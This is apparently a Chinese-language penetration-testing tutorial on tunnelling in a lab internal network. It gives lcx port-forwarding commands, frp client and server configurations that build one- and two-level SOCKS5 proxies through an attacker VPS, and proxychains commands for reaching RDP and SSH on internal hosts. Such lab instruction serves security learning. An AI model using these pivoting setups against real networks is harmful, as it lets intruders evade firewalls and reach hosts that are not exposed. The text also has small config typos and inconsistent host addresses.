内网渗透-隧道搭建
一、前言
为什么要进行代理搭建?因为目标主机会把一些可利用的端口给禁了,或者说内网 的防火墙不允许这些端口出现,那么这时候就需要搭建一个隧道,什么是隧道,对于小白来说可能有点抽象,其实就是主机与攻击机之间的通讯端口,然后还会设计到端口转发或者是端口映射的问题。
端口转发一般发生在一个主机里面,将800端口的流量转到900,而端口映射一般是两个主机,比如访问A主机的800端口就相当于访问B主机的900端口。但对其并没有多大的区分。
这里介绍lcx 和frp的使用。其他不讲。
二、需要搭建代理的场景
根据场景的复杂度通常需要设置一级代代理、二级代理....如果目标无公网ip就得使用VPS
1.场景一
最简单的场景:
攻击机kali
内网:
web1: 10.10.10.13(内网地址) (192.168.8.x)外网地址
DC: 10.10.10.11(不出网)
cilent1: 10.10.10.14(内网地址,不出网)
从这可以看到我们如果想要拿下cilent1,可以通过web1主机去。因为kali又不能与cilent1通讯。所以需要搭建代理。
目标
端口转发:**比如我要控制web1的桌面,需要通过3389来控制,但是防火墙不让外部地址有3389,但是可以4444的话,那我就可以使用端口转发。使得kali访问web1的4444端口就相当于访问3389.。
**端口映射:**但是如果我想使用的是cilent的3389,那我可以将cilent的3389映射到web1的4444
1.1 使用lcx进行端口转发
web1执行:
lcx.exe -tran 4444 127.0.0.1 3389
攻击机执行
rdesktop 192.168.8.x:4444
1.2 使用lcx进行端口映射
web1执行:
lcx.exe -tran 4444 10.10.10.14 3389
攻击机执行
rdesktop 192.168.8.x:4444
2.场景二
但是如果web1没有外网地址(192.168.8.x),只有内网地址(10.10.10.13),但是出网,可以使用frp以及vps进行搭建隧道。
这种场景搭建一级代理。
假设vps的地址为 43.143.93.88
目标:
端口转发:我要控制web1的3389,但是我只能允许4444进入。那么就可以将4444的流量转发到3389。
想ssh登录进入cilent1
frp搭建一级代理思路。在vps和web1之间搭建一个隧道,搭建这个隧道的时候对于vps会涉及到两个端口。一个是默认的7000连接frp的端口,一个是用户自定义的隧道端口。新手可能会很容易搞混这两个端口。默认的7000端口我们不用在意,只管客户端设置的remote_port.
2.1 使用frp搭建一级代理
将Vps作为服务端。把frps上传,并设置frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
web1作为客户端,配置frpc.ini
[common]
server_addr = 43.143.93.88
aerver_port = 7000
[socks5]
remote_port = 4444 #vps与web1之间的隧道端口,所有流量都通过vps的4444端口到达web1的4444端口
plugin = socks5 #vps可作为一个socks5的代理服务器。
plugin是一个插件,赋值socks5,意思是可以建立socks5代理服务器。什么意思,就是可以把它当做一个中间服务器进行传输。当然你可以都加,plugin = socks5。
然后在kali上将数据包流量扔到隧道里面。kali自带proxychains,配置proxychains.conf设置代理服务器:
socks5 43.143.93.88 4444
再运行
proxychain rdesktop 10.10.10.13:3389
或者
proxychain ssh root@10.10.10.14
这个就是把这个数据包的流量扔到vps这个代理服务器上,端口是4444,然后这个流量就会到达目标主机进行解析。
3.场景三
假设现在有另外一个主机cilent2 内网地址是10.10.20.5,可以与client1连接。但是我想在攻击机上ssh连接client2.
那么现在就必须再搭条隧道进入cilent1与cilent2所在的网段;
{%asset_image 1.png %}
3.1 frp搭建二级代理
将vps与web1作为代理服务器
vps的frps配置不变
web1 配置
frpc.ini
[common]
server_addr = 43.143.93.88
aerver_port = 7000
[socks5]
type = tcp
local_port = 10808 #将1080隧道接受到的流量转发到10808,要转发流量,使用tcp协议。所以type=tcp
remote_port = 1080
plugin = socks5
这样第一条隧道搭建完毕。
同时它也要作为一个代理服务器,那么配置frps.ini,能在web1与cilent1之间建立一个隧道.成为第二条隧道
[common]
bind_addr = 10.10.10.13
bind_port = 7000
cilent1配置
frpc.ini
[common]
server_addr = 10.10.10.13
aerver_port = 7000
[socks5]
type = tcp #为什么要type=tcp,因为在第一条隧道的时候,数据包是tcp协议转发到10808的。
remote_port = 10808
plugin = socks5
到此两条隧道搭建完毕。
kali攻击
kali 可以通过proxchains来实现将流量包转发到vps这个第一个代理服务器,然后就会传到cilent1。
proxychains.conf配置好之后,就可以运行下面命令连接cilent2
proxychains ssh root@10.10.20.9
三级代理一样的,把cilent2加个frps.
三、frp的其他使用补充
frp进行内网穿透的时候,还有其他配置,比如,搭好隧道之后,把流量转发到22端口,就可以连接内网的22,将流量转发到其他部署有网站的端口,就可以通过vps访问到内网网站。但是一定要注意type.想连接22,就走tcp,想web,就可以走tcp也可以http.只不过http还得布置域名。
frps服务端不变。
主要是客户端frpc.ini
[common]
server_ip = 43.143.93.88
server_port = 7000
[ssh]
type = tcp
local_port =22
remote_port = 1080
[web]
type = tcp
local_port =80 #或者其他站点端口
remote_port = 4444
上述配置就可以直接通过操作43.143.93.88的相应端口来达到相关服务,比如要连接这个客户端的ssh
ssh -p 1080 root@43.143.93.88
要访问这个客户端内网的网站,直接浏览器访问http://43.143.93.88:4444就能访问。
但是如果是配置了代理服务器,搞了隧道,也就是frpc.ini的配置如下
[common]
server_ip = 43.143.93.88
server_port = 7000
[ssh]
remote_port = 1080
plugin = socks5
没有type = tcp 就不能访问。就算你配置了local_port = 22 或者88,都不能成功转发流量,也就是说,要进行端口转发流量必须加上type。
如果没加,就像上面一样,那么就是只搭建了一个代理服务器。
通过代理插件来实现。代理插件kali有proxychain,相关操作也有。代理插件或者软件的作用就是将数据包流量发送到代理服务器。
kali 直接配置文件,使用时就在命令前加上proxychain .
Windows可以使用proxifier。在设置代理服务器的时候,就可以设置 43.143.93.88 1080
再设置相应的规则就可以将流量经过代理服务器。